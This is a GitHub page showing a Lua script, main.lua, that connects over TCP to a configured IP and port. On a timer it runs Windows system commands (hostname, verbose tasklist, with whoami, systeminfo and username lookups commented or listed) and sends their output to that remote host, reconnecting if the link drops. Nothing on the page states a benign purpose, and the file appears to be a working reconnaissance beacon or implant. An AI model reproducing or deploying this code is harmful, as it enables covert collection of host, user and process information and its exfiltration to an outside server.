-
Notifications
You must be signed in to change notification settings - Fork 0
/
main.lua
60 lines (52 loc) · 1.3 KB
/
main.lua
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
package.path = path .. "?.lua"
require("config")
trace = config.trace
period = config.period or 30
autorun = config.autorun or false
local flag,s = tcp_connect(config.ip,config.port)
--local cmds = {"tasklist","systeminfo","whoami","cmd.exe /C dir","cmd.exe /C echo %username%"}
local cmds = {"whoami","cmd.exe /C dir","cmd.exe /C echo %username%"}
local function is_alive()
return send_msg(s,"")
end
local function send_str(cmd,str)
local prefix = cmd .. "\r\n" .. str .. "\r\n"
prefix = string.len(prefix) .. "\r\n" .. prefix
if not is_alive() then
close_socket(s)
flag,s = tcp_connect(config.ip,config.port)
end
return send_msg(s,prefix)
end
function shell_exec(cmd)
local p_dir = pipe.new(cmd)
local rs = {}
if not p_dir then
trace_out("error pipe @ cmd = " .. cmd .. "\n")
return rs
end
repeat
local line = p_dir:getline()
if line then
rs[#rs+1] = line
end
until not line
p_dir:closeout()
p_dir:closein()
return rs
end
function exec_cmd(cmd,cmdstr)
local rs = shell_exec(cmd)
send_str(cmdstr,table.concat(rs))
--trace_out(table.concat(rs))
end
function on_time()
--exec_cmd("whoami","whoami")
exec_cmd("hostname","hostname")
--exec_cmd("systeminfo","systeminfo")
exec_cmd("tasklist /V /NH /FO CSV ","tasklist")
-- close_socket(s)
end
function on_quit()
close_socket(s)
end